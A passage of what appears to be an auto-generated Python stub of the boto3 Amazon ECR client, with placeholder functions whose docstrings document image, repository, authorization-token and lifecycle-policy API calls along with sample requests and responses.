repositoryName: [REQUIRED]\nThe repository that contains the images to describe.\n :type imageIds: list :param imageIds: The list of image IDs for the requested repository.\n\n(dict) --An object with identifying information for an Amazon ECR image.\n\nimageDigest (string) --The sha256 digest of the image manifest.\n\nimageTag (string) --The tag used for the image.\n\n\n\n\n :type nextToken: string :param nextToken: The nextToken value returned from a previous paginated DescribeImages request where maxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the nextToken value. This value is null when there are no more results to return. This option cannot be used when you specify images with imageIds . :type maxResults: integer :param maxResults: The maximum number of repository results returned by DescribeImages in paginated output. When this parameter is used, DescribeImages only returns maxResults results in a single page along with a nextToken response element. The remaining results of the initial request can be seen by sending another DescribeImages request with the returned nextToken value. This value can be between 1 and 1000. If this parameter is not used, then DescribeImages returns up to 100 results and a nextToken value, if applicable. This option cannot be used when you specify images with imageIds . :type filter: dict :param filter: The filter key and value with which to filter your DescribeImages results.\n\ntagStatus (string) --The tag status with which to filter your DescribeImages results. You can filter results based on whether they are TAGGED or UNTAGGED .\n\n\n :rtype: dict ReturnsResponse Syntax { 'imageDetails': [ { 'registryId': 'string', 'repositoryName': 'string', 'imageDigest': 'string', 'imageTags': [ 'string', ], 'imageSizeInBytes': 123, 'imagePushedAt': datetime(2015, 1, 1), 'imageScanStatus': { 'status': 'IN_PROGRESS'|'COMPLETE'|'FAILED', 'description': 'string' }, 'imageScanFindingsSummary': { 'imageScanCompletedAt': datetime(2015, 1, 1), 'vulnerabilitySourceUpdatedAt': datetime(2015, 1, 1), 'findingSeverityCounts': { 'string': 123 } } }, ], 'nextToken': 'string' } Response Structure (dict) -- imageDetails (list) -- A list of ImageDetail objects that contain data about the image. (dict) -- An object that describes an image returned by a DescribeImages operation. registryId (string) -- The AWS account ID associated with the registry to which this image belongs. repositoryName (string) -- The name of the repository to which this image belongs. imageDigest (string) -- The sha256 digest of the image manifest. imageTags (list) -- The list of tags associated with this image. (string) -- imageSizeInBytes (integer) -- The size, in bytes, of the image in the repository. If the image is a manifest list, this will be the max size of all manifests in the list. Note Beginning with Docker version 1.9, the Docker client compresses image layers before pushing them to a V2 Docker registry. The output of the docker images command shows the uncompressed image size, so it may return a larger image size than the image sizes returned by DescribeImages . imagePushedAt (datetime) -- The date and time, expressed in standard JavaScript date format, at which the current image was pushed to the repository. imageScanStatus (dict) -- The current state of the scan. status (string) -- The current state of an image scan. description (string) -- The description of the image scan status. imageScanFindingsSummary (dict) -- A summary of the last completed image scan. imageScanCompletedAt (datetime) -- The time of the last completed image scan. vulnerabilitySourceUpdatedAt (datetime) -- The time when the vulnerability data was last scanned. findingSeverityCounts (dict) -- The image vulnerability counts, sorted by severity. (string) -- (integer) -- nextToken (string) -- The nextToken value to include in a future DescribeImages request. When the results of a DescribeImages request exceed maxResults , this value can be used to retrieve the next page of results. This value is null when there are no more results to return. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.ImageNotFoundException :return: { 'imageDetails': [ { 'registryId': 'string', 'repositoryName': 'string', 'imageDigest': 'string', 'imageTags': [ 'string', ], 'imageSizeInBytes': 123, 'imagePushedAt': datetime(2015, 1, 1), 'imageScanStatus': { 'status': 'IN_PROGRESS'|'COMPLETE'|'FAILED', 'description': 'string' }, 'imageScanFindingsSummary': { 'imageScanCompletedAt': datetime(2015, 1, 1), 'vulnerabilitySourceUpdatedAt': datetime(2015, 1, 1), 'findingSeverityCounts': { 'string': 123 } } }, ], 'nextToken': 'string' } :returns: (string) -- """ pass def describe_repositories(registryId=None, repositoryNames=None, nextToken=None, maxResults=None): """ Describes image repositories in a registry. See also: AWS API Documentation Exceptions Examples The following example obtains a list and description of all repositories in the default registry to which the current user has access. Expected Output: :example: response = client.describe_repositories( registryId='string', repositoryNames=[ 'string', ], nextToken='string', maxResults=123 ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the repositories to be described. If you do not specify a registry, the default registry is assumed. :type repositoryNames: list :param repositoryNames: A list of repositories to describe. If this parameter is omitted, then all repositories in a registry are described.\n\n(string) --\n\n :type nextToken: string :param nextToken: The nextToken value returned from a previous paginated DescribeRepositories request where maxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the nextToken value. This value is null when there are no more results to return. This option cannot be used when you specify repositories with repositoryNames .\n\nNote\nThis token should be treated as an opaque identifier that is only used to retrieve the next items in a list and not for other programmatic purposes.\n\n :type maxResults: integer :param maxResults: The maximum number of repository results returned by DescribeRepositories in paginated output. When this parameter is used, DescribeRepositories only returns maxResults results in a single page along with a nextToken response element. The remaining results of the initial request can be seen by sending another DescribeRepositories request with the returned nextToken value. This value can be between 1 and 1000. If this parameter is not used, then DescribeRepositories returns up to 100 results and a nextToken value, if applicable. This option cannot be used when you specify repositories with repositoryNames . :rtype: dict ReturnsResponse Syntax { 'repositories': [ { 'repositoryArn': 'string', 'registryId': 'string', 'repositoryName': 'string', 'repositoryUri': 'string', 'createdAt': datetime(2015, 1, 1), 'imageTagMutability': 'MUTABLE'|'IMMUTABLE', 'imageScanningConfiguration': { 'scanOnPush': True|False } }, ], 'nextToken': 'string' } Response Structure (dict) -- repositories (list) -- A list of repository objects corresponding to valid repositories. (dict) -- An object representing a repository. repositoryArn (string) -- The Amazon Resource Name (ARN) that identifies the repository. The ARN contains the arn:aws:ecr namespace, followed by the region of the repository, AWS account ID of the repository owner, repository namespace, and repository name. For example, arn:aws:ecr:region:012345678910:repository/test . registryId (string) -- The AWS account ID associated with the registry that contains the repository. repositoryName (string) -- The name of the repository. repositoryUri (string) -- The URI for the repository. You can use this URI for Docker push or pull operations. createdAt (datetime) -- The date and time, in JavaScript date format, when the repository was created. imageTagMutability (string) -- The tag mutability setting for the repository. imageScanningConfiguration (dict) -- The image scanning configuration for a repository. scanOnPush (boolean) -- The setting that determines whether images are scanned after being pushed to a repository. If set to true , images will be scanned after being pushed. If this parameter is not specified, it will default to false and images will not be scanned unless a scan is manually started with the StartImageScan API. nextToken (string) -- The nextToken value to include in a future DescribeRepositories request. When the results of a DescribeRepositories request exceed maxResults , this value can be used to retrieve the next page of results. This value is null when there are no more results to return. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException Examples The following example obtains a list and description of all repositories in the default registry to which the current user has access. response = client.describe_repositories( ) print(response) Expected Output: { 'repositories': [ { 'registryId': '012345678910', 'repositoryArn': 'arn:aws:ecr:us-west-2:012345678910:repository/ubuntu', 'repositoryName': 'ubuntu', }, { 'registryId': '012345678910', 'repositoryArn': 'arn:aws:ecr:us-west-2:012345678910:repository/test', 'repositoryName': 'test', }, ], 'ResponseMetadata': { '...': '...', }, } :return: { 'repositories': [ { 'repositoryArn': 'string', 'registryId': 'string', 'repositoryName': 'string', 'repositoryUri': 'string', 'createdAt': datetime(2015, 1, 1), 'imageTagMutability': 'MUTABLE'|'IMMUTABLE', 'imageScanningConfiguration': { 'scanOnPush': True|False } }, ], 'nextToken': 'string' } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException """ pass def generate_presigned_url(ClientMethod=None, Params=None, ExpiresIn=None, HttpMethod=None): """ Generate a presigned url given a client, its method, and arguments :type ClientMethod: string :param ClientMethod: The client method to presign for :type Params: dict :param Params: The parameters normally passed to\nClientMethod. :type ExpiresIn: int :param ExpiresIn: The number of seconds the presigned url is valid\nfor. By default it expires in an hour (3600 seconds) :type HttpMethod: string :param HttpMethod: The http method to use on the generated url. By\ndefault, the http method is whatever is used in the method\'s model. """ pass def get_authorization_token(registryIds=None): """ Retrieves an authorization token. An authorization token represents your IAM authentication credentials and can be used to access any Amazon ECR registry that your IAM principal has access to. The authorization token is valid for 12 hours. The authorizationToken returned is a base64 encoded string that can be decoded and used in a docker login command to authenticate to a registry. The AWS CLI offers an get-login-password command that simplifies the login process. For more information, see Registry Authentication in the Amazon Elastic Container Registry User Guide . See also: AWS API Documentation Exceptions :example: response = client.get_authorization_token( registryIds=[ 'string', ] ) :type registryIds: list :param registryIds: A list of AWS account IDs that are associated with the registries for which to get AuthorizationData objects. If you do not specify a registry, the default registry is assumed.\n\n(string) --\n\n :rtype: dict ReturnsResponse Syntax{ 'authorizationData': [ { 'authorizationToken': 'string', 'expiresAt': datetime(2015, 1, 1), 'proxyEndpoint': 'string' }, ] } Response Structure (dict) -- authorizationData (list) --A list of authorization token data objects that correspond to the registryIds values in the request. (dict) --An object representing authorization data for an Amazon ECR registry. authorizationToken (string) --A base64-encoded string that contains authorization data for the specified Amazon ECR registry. When the string is decoded, it is presented in the format user:password for private registry authentication using docker login . expiresAt (datetime) --The Unix time in seconds and milliseconds when the authorization token expires. Authorization tokens are valid for 12 hours. proxyEndpoint (string) --The registry URL to use for this authorization token in a docker login command. The Amazon ECR registry URL format is https://aws_account_id.dkr.ecr.region.amazonaws.com . For example, https://012345678910.dkr.ecr.us-east-1.amazonaws.com .. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException :return: { 'authorizationData': [ { 'authorizationToken': 'string', 'expiresAt': datetime(2015, 1, 1), 'proxyEndpoint': 'string' }, ] } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException """ pass def get_download_url_for_layer(registryId=None, repositoryName=None, layerDigest=None): """ Retrieves the pre-signed Amazon S3 download URL corresponding to an image layer. You can only get URLs for image layers that are referenced in an image. When an image is pulled, the GetDownloadUrlForLayer API is called once per image layer that is not already cached. See also: AWS API Documentation Exceptions :example: response = client.get_download_url_for_layer( registryId='string', repositoryName='string', layerDigest='string' ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the image layer to download. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository that is associated with the image layer to download.\n :type layerDigest: string :param layerDigest: [REQUIRED]\nThe digest of the image layer to download.\n :rtype: dict ReturnsResponse Syntax { 'downloadUrl': 'string', 'layerDigest': 'string' } Response Structure (dict) -- downloadUrl (string) -- The pre-signed Amazon S3 download URL for the requested layer. layerDigest (string) -- The digest of the image layer to download. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.LayersNotFoundException ECR.Client.exceptions.LayerInaccessibleException ECR.Client.exceptions.RepositoryNotFoundException :return: { 'downloadUrl': 'string', 'layerDigest': 'string' } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.LayersNotFoundException ECR.Client.exceptions.LayerInaccessibleException ECR.Client.exceptions.RepositoryNotFoundException """ pass def get_lifecycle_policy(registryId=None, repositoryName=None): """ Retrieves the lifecycle policy for the specified repository. See also: AWS API Documentation Exceptions :example: response = client.get_lifecycle_policy( registryId='string', repositoryName='string' ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the repository. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository.\n :rtype: dict ReturnsResponse Syntax { 'registryId': 'string', 'repositoryName': 'string', 'lifecyclePolicyText': 'string', 'lastEvaluatedAt': datetime(2015, 1, 1) } Response Structure (dict) -- registryId (string) -- The registry ID associated with the request. repositoryName (string) -- The repository name associated with the request. lifecyclePolicyText (string) -- The JSON lifecycle policy text. lastEvaluatedAt (datetime) -- The time stamp of the last time that the lifecycle policy was run. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.LifecyclePolicyNotFoundException :return: { 'registryId': 'string', 'repositoryName': 'string', 'lifecyclePolicyText': 'string', 'lastEvaluatedAt': datetime(2015, 1, 1) } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.LifecyclePolicyNotFoundException """ pass def get_lifecycle_policy_preview(registryId=None, repositoryName=None, imageIds=None, nextToken=None, maxResults=None, filter=None): """ Retrieves the results of the lifecycle policy preview request for the specified repository. See also: AWS API Documentation Exceptions :example: response = client.get_lifecycle_policy_preview( registryId='string', repositoryName='string', imageIds=[ { 'imageDigest': 'string', 'imageTag': 'string' }, ], nextToken='string', maxResults=123, filter={ 'tagStatus': 'TAGGED'|'UNTAGGED'|'ANY' } ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the repository. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository.\n :type imageIds: list :param imageIds: The list of imageIDs to be included.\n\n(dict) --An object with identifying information for an Amazon ECR image.\n\nimageDigest (string) --The sha256 digest of the image manifest.\n\nimageTag (string) --The tag used for the image.\n\n\n\n\n :type nextToken: string :param nextToken: The nextToken value returned from a previous paginated GetLifecyclePolicyPreviewRequest request where maxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the nextToken value. This value is null when there are no more results to return. This option cannot be used when you specify images with imageIds . :type maxResults: integer :param maxResults: The maximum number of repository results returned by GetLifecyclePolicyPreviewRequest in paginated output. When this parameter is used, GetLifecyclePolicyPreviewRequest only returns maxResults results in a single page along with a nextToken response element. The remaining results of the initial request can be seen by sending another GetLifecyclePolicyPreviewRequest request with the returned nextToken value. This value can be between 1 and 1000. If this parameter is not used, then GetLifecyclePolicyPreviewRequest returns up to 100 results and a nextToken value, if applicable. This option cannot be used when you specify images with imageIds . :type filter: dict :param filter: An optional parameter that filters results based on image tag status and all tags, if tagged.\n\ntagStatus (string) --The tag status of the image.\n\n\n :rtype: dict ReturnsResponse Syntax { 'registryId': 'string', 'repositoryName': 'string', 'lifecyclePolicyText': 'string', 'status': 'IN_PROGRESS'|'COMPLETE'|'EXPIRED'|'FAILED', 'nextToken': 'string', 'previewResults': [ { 'imageTags': [ 'string', ], 'imageDigest': 'string', 'imagePushedAt': datetime(2015, 1, 1), 'action': { 'type': 'EXPIRE' }, 'appliedRulePriority': 123 }, ], 'summary': { 'expiringImageTotalCount': 123 } } Response Structure (dict) -- registryId (string) -- The registry ID associated with the request. repositoryName (string) -- The repository name associated with the request. lifecyclePolicyText (string) -- The JSON lifecycle policy text. status (string) -- The status of the lifecycle policy preview request. nextToken (string) -- The nextToken value to include in a future GetLifecyclePolicyPreview request. When the results of a GetLifecyclePolicyPreview request exceed maxResults , this value can be used to retrieve the next page of results. This value is null when there are no more results to return. previewResults (list) -- The results of the lifecycle policy preview request. (dict) -- The result of the lifecycle policy preview. imageTags (list) -- The list of tags associated with this image. (string) -- imageDigest (string) -- The sha256 digest of the image manifest. imagePushedAt (datetime) -- The date and time, expressed in standard JavaScript date format, at which the current image was pushed to the repository. action (dict) -- The type of action to be taken. type (string) -- The type of action to be taken. appliedRulePriority (integer) -- The priority of the applied rule. summary (dict) -- The list of images that is returned as a result of the action. expiringImageTotalCount (integer) -- The number of expiring images. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.LifecyclePolicyPreviewNotFoundException :return: { 'registryId': 'string', 'repositoryName': 'string', 'lifecyclePolicyText': 'string', 'status': 'IN_PROGRESS'|'COMPLETE'|'EXPIRED'|'FAILED', 'nextToken': 'string', 'previewResults': [ { 'imageTags': [ 'string', ], 'imageDigest': 'string', 'imagePushedAt': datetime(2015, 1, 1), 'action': { 'type': 'EXPIRE' }, 'appliedRulePriority': 123 }, ], 'summary': { 'expiringImageTotalCount': 123 } } :returns: (string) -- """ pass def get_paginator(operation_name=None): """ Create a paginator for an operation. :type operation_name: string :param operation_name: The operation name. This is the same name\nas the method name on the client. For example, if the\nmethod name is create_foo, and you\'d normally invoke the\noperation as client.create_foo(**kwargs), if the\ncreate_foo operation can be paginated, you can use the\ncall client.get_paginator('create_foo'). :rtype: L{botocore.paginate.Paginator} ReturnsA paginator object. """ pass def get_repository_policy(registryId=None, repositoryName=None): """ Retrieves the repository policy for the specified repository. See also: AWS API Documentation Exceptions Examples This example obtains the repository policy for the repository named ubuntu. Expected Output: :example: response = client.get_repository_policy( registryId='string', repositoryName='string' ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the repository. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository with the policy to retrieve.\n :rtype: dict ReturnsResponse Syntax { 'registryId': 'string', 'repositoryName': 'string', 'policyText': 'string' } Response Structure (dict) -- registryId (string) -- The registry ID associated with the request. repositoryName (string) -- The repository name associated with the request. policyText (string) -- The JSON repository policy text associated with the repository. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.RepositoryPolicyNotFoundException Examples This example obtains the repository policy for the repository named ubuntu. response = client.get_repository_policy( repositoryName='ubuntu', ) print(response) Expected Output: { 'policyText': '{\ "Version" : "2008-10-17",\ "Statement" : [ {\ "Sid" : "new statement",\ "Effect" : "Allow",\ "Principal" : {\ "AWS" : "arn:aws:iam::012345678901:role/CodeDeployDemo"\ },\ "Action" : [ "ecr:GetDownloadUrlForLayer", "ecr:BatchGetImage", "ecr:BatchCheckLayerAvailability" ]\ } ]\ }', 'registryId': '012345678901', 'repositoryName': 'ubuntu', 'ResponseMetadata': { '...': '...', }, } :return: { 'registryId': 'string', 'repositoryName': 'string', 'policyText': 'string' } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.RepositoryPolicyNotFoundException """ pass def get_waiter(waiter_name=None): """ Returns an object that can wait for some condition. :type waiter_name: str :param waiter_name: The name of the waiter to get. See the waiters\nsection of the service docs for a list of available waiters. :rtype: botocore.waiter.Waiter """ pass def initiate_layer_upload(registryId=None, repositoryName=None): """ Notifies Amazon ECR that you intend to upload an image layer. When an image is pushed, the InitiateLayerUpload API is called once per image layer that has not already been uploaded. Whether or not an image layer has been uploaded is determined by the BatchCheckLayerAvailability API action. See also: AWS API Documentation Exceptions :example: response = client.initiate_layer_upload( registryId='string', repositoryName='string' ) :type registryId: string :param registryId: The AWS account ID associated with the registry to which you intend to upload layers. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository to which you intend to upload layers.\n :rtype: dict ReturnsResponse Syntax { 'uploadId': 'string', 'partSize': 123 } Response Structure (dict) -- uploadId (string) -- The upload ID for the layer upload. This parameter is passed to further UploadLayerPart and CompleteLayerUpload operations. partSize (integer) -- The size, in bytes, that Amazon ECR expects future layer part uploads to be. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException :return: { 'uploadId': 'string', 'partSize': 123 } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException """ pass def list_images(registryId=None, repositoryName=None, nextToken=None, maxResults=None, filter=None): """ Lists all the image IDs for the specified repository. You can filter images based on whether or not they are tagged by using the tagStatus filter and specifying either TAGGED , UNTAGGED or ANY . For example, you can filter your results to return only UNTAGGED images and then pipe that result to a BatchDeleteImage operation to delete them. Or, you can filter your results to return only TAGGED images to list all of the tags in your repository. See also: AWS API Documentation Exceptions Examples This example lists all of the images in the repository named ubuntu in the default registry in the current account. Expected Output: :example: response = client.list_images( registryId='string', repositoryName='string', nextToken='string', maxResults=123, filter={ 'tagStatus': 'TAGGED'|'UNTAGGED'|'ANY' } ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the repository in which to list images. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe repository with image IDs to be listed.\n :type nextToken: string :param nextToken: The nextToken value returned from a previous paginated ListImages request where maxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the nextToken value. This value is null when there are no more results to return.\n\nNote\nThis token should be treated as an opaque identifier that is only used to retrieve the next items in a list and not for other programmatic purposes.\n\n :type maxResults: integer :param maxResults: The maximum number of image results returned by ListImages in paginated output. When this parameter is used, ListImages only returns maxResults results in a single page along with a nextToken response element. The remaining results of the initial request can be seen by sending another ListImages request with the returned nextToken value. This value can be between 1 and 1000. If this parameter is not used, then ListImages returns up to 100 results and a nextToken value, if applicable. :type filter: dict :param filter: The filter key and value with which to filter your ListImages results.\n\ntagStatus (string) --The tag status with which to filter your ListImages results. You can filter results based on whether they are TAGGED or UNTAGGED .\n\n\n :rtype: dict ReturnsResponse Syntax { 'imageIds': [ { 'imageDigest': 'string', 'imageTag': 'string' }, ], 'nextToken': 'string' } Response Structure (dict) -- imageIds (list) -- The list of image IDs for the requested repository. (dict) -- An object with identifying information for an Amazon ECR image. imageDigest (string) -- The sha256 digest of the image manifest. imageTag (string) -- The tag used for the image. nextToken (string) -- The nextToken value to include in a future ListImages request. When the results of a ListImages request exceed maxResults , this value can be used to retrieve the next page of results. This value is null when there are no more results to return. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException Examples This example lists all of the images in the repository named ubuntu in the default registry in the current account. response = client.list_images( repositoryName='ubuntu', ) print(response) Expected Output: { 'imageIds': [ { 'imageDigest': 'sha256:764f63476bdff6d83a09ba2a818f0d35757063724a9ac3ba5019c56f74ebf42a', 'imageTag': 'precise', }, ], 'ResponseMetadata': { '...': '...', }, } :return: { 'imageIds': [ { 'imageDigest': 'string', 'imageTag': 'string' }, ], 'nextToken': 'string' } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException """ pass def list_tags_for_resource(resourceArn=None): """ List the tags for an Amazon ECR resource. See also: AWS API Documentation Exceptions :example: response = client.list_tags_for_resource( resourceArn='string' ) :type resourceArn: string :param resourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that identifies the resource for which to list the tags. Currently, the only supported resource is an Amazon ECR repository.\n :rtype: dict ReturnsResponse Syntax{ 'tags': [ { 'Key': 'string', 'Value': 'string' }, ] } Response Structure (dict) -- tags (list) --The tags for the resource. (dict) --The metadata that you apply to a resource to help you categorize and organize them. Each tag consists of a key and an optional value, both of which you define. Tag keys can have a maximum character length of 128 characters, and tag values can have a maximum length of 256 characters. Key (string) --One part of a key-value pair that make up a tag. A key is a general label that acts like a category for more specific tag values. Value (string) --The optional part of a key-value pair that make up a tag. A value acts as a descriptor within a tag category (key). Exceptions ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.ServerException :return: { 'tags': [ { 'Key': 'string', 'Value': 'string' }, ] } """ pass def put_image(registryId=None, repositoryName=None, imageManifest=None, imageManifestMediaType=None, imageTag=None): """ Creates or updates the image manifest and tags associated with an image. When an image is pushed and all new image layers have been uploaded, the PutImage API is called once to create or update the image manifest and the tags associated with the image. See also: AWS API Documentation Exceptions :example: response = client.put_image( registryId='string', repositoryName='string', imageManifest='string', imageManifestMediaType='string', imageTag='string' ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the repository in which to put the image. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository in which to put the image.\n :type imageManifest: string :param imageManifest: [REQUIRED]\nThe image manifest corresponding to the image to be uploaded.\n :type imageManifestMediaType: string :param imageManifestMediaType: The media type of the image manifest. If you push an image manifest that does not contain the mediaType field, you must specify the imageManifestMediaType in the request. :type imageTag: string :param imageTag: The tag to associate with the image. This parameter is required for images that use the Docker Image Manifest V2 Schema 2 or OCI formats. :rtype: dict ReturnsResponse Syntax { 'image': { 'registryId': 'string', 'repositoryName': 'string', 'imageId': { 'imageDigest': 'string', 'imageTag': 'string' }, 'imageManifest': 'string', 'imageManifestMediaType': 'string' } } Response Structure (dict) -- image (dict) -- Details of the image uploaded. registryId (string) -- The AWS account ID associated with the registry containing the image. repositoryName (string) -- The name of the repository associated with the image. imageId (dict) -- An object containing the image tag and image digest associated with an image. imageDigest (string) -- The sha256 digest of the image manifest. imageTag (string) -- The tag used for the image. imageManifest (string) -- The image manifest associated with the image. imageManifestMediaType (string) -- The media type associated with the image manifest. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.ImageAlreadyExistsException ECR.Client.exceptions.LayersNotFoundException ECR.Client.exceptions.ReferencedImagesNotFoundException ECR.Client.exceptions.LimitExceededException ECR.Client.exceptions.ImageTagAlreadyExistsException :return: { 'image': { 'registryId': 'string', 'repositoryName': 'string', 'imageId': { 'imageDigest': 'string', 'imageTag': 'string' }, 'imageManifest': 'string', 'imageManifestMediaType': 'string' } } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.ImageAlreadyExistsException ECR.Client.exceptions.LayersNotFoundException ECR.Client.exceptions.ReferencedImagesNotFoundException ECR.Client.exceptions.LimitExceededException ECR.Client.exceptions.ImageTagAlreadyExistsException """ pass def put_image_scanning_configuration(registryId=None, repositoryName=None, imageScanningConfiguration=None): """ Updates the image scanning configuration for the specified repository. See also: AWS API Documentation Exceptions :example: response = client.put_image_scanning_configuration( registryId='string', repositoryName='string', imageScanningConfiguration={ 'scanOnPush': True|False } ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the repository in which to update the image scanning configuration setting. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository in which to update the image scanning configuration setting.\n :type imageScanningConfiguration: dict :param imageScanningConfiguration: [REQUIRED]\nThe image scanning configuration for the repository. This setting determines whether images are scanned for known vulnerabilities after being pushed to the repository.\n\nscanOnPush (boolean) --The setting that determines whether images are scanned after being pushed to a repository. If set to true , images will be scanned after being pushed. If this parameter is not specified, it will default to false and images will not be scanned unless a scan is manually started with the StartImageScan API.\n\n\n :rtype: dict ReturnsResponse Syntax { 'registryId': 'string', 'repositoryName': 'string', 'imageScanningConfiguration': { 'scanOnPush': True|False } } Response Structure (dict) -- registryId (string) -- The registry ID associated with the request. repositoryName (string) -- The repository name associated with the request. imageScanningConfiguration (dict) -- The image scanning configuration setting for the repository. scanOnPush (boolean) -- The setting that determines whether images are scanned after being pushed to a repository. If set to true , images will be scanned after being pushed. If this parameter is not specified, it will default to false and images will not be scanned unless a scan is manually started with the StartImageScan API. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException :return: { 'registryId': 'string', 'repositoryName': 'string', 'imageScanningConfiguration': { 'scanOnPush': True|False } } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException """ pass def put_image_tag_mutability(registryId=None, repositoryName=None, imageTagMutability=None): """ Updates the image tag mutability settings for the specified repository. For more information, see Image Tag Mutability in the Amazon Elastic Container Registry User Guide . See also: AWS API Documentation Exceptions :example: response = client.put_image_tag_mutability( registryId='string', repositoryName='string', imageTagMutability='MUTABLE'|'IMMUTABLE' ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the repository in which to update the image tag mutability settings. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository in which to update the image tag mutability settings.\n :type imageTagMutability: string :param imageTagMutability: [REQUIRED]\nThe tag mutability setting for the repository. If MUTABLE is specified, image tags can be overwritten. If IMMUTABLE is specified, all image tags within the repository will be immutable which will prevent them from being overwritten.\n :rtype: dict ReturnsResponse Syntax { 'registryId': 'string', 'repositoryName': 'string', 'imageTagMutability': 'MUTABLE'|'IMMUTABLE' } Response Structure (dict) -- registryId (string) -- The registry ID associated with the request. repositoryName (string) -- The repository name associated with the request. imageTagMutability (string) -- The image tag mutability setting for the repository. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException :return: { 'registryId': 'string', 'repositoryName': 'string', 'imageTagMutability': 'MUTABLE'|'IMMUTABLE' } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException """ pass def put_lifecycle_policy(registryId=None, repositoryName=None, lifecyclePolicyText=None): """ Creates or updates the lifecycle policy for the specified repository. For more information, see Lifecycle Policy Template . See also: AWS API Documentation Exceptions :example: response = client.put_lifecycle_policy( registryId='string', repositoryName='string', lifecyclePolicyText='string' ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the repository. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository to receive the policy.\n :type lifecyclePolicyText: string :param lifecyclePolicyText: [REQUIRED]\nThe JSON repository policy text to apply to the repository.\n :rtype: dict ReturnsResponse Syntax { 'registryId': 'string', 'repositoryName': 'string', 'lifecyclePolicyText': 'string' } Response Structure (dict) -- registryId (string) -- The registry ID associated with the request. repositoryName (string) -- The repository name associated with the request. lifecyclePolicyText (string) -- The JSON repository policy text. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException :return: { 'registryId': 'string', 'repositoryName': 'string', 'lifecyclePolicyText': 'string' } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException """ pass def set_repository_policy(registryId=None, repositoryName=None, policyText=None, force=None): """ Applies a repository policy to the specified repository to control access permissions. For more information, see Amazon ECR Repository Policies in the Amazon 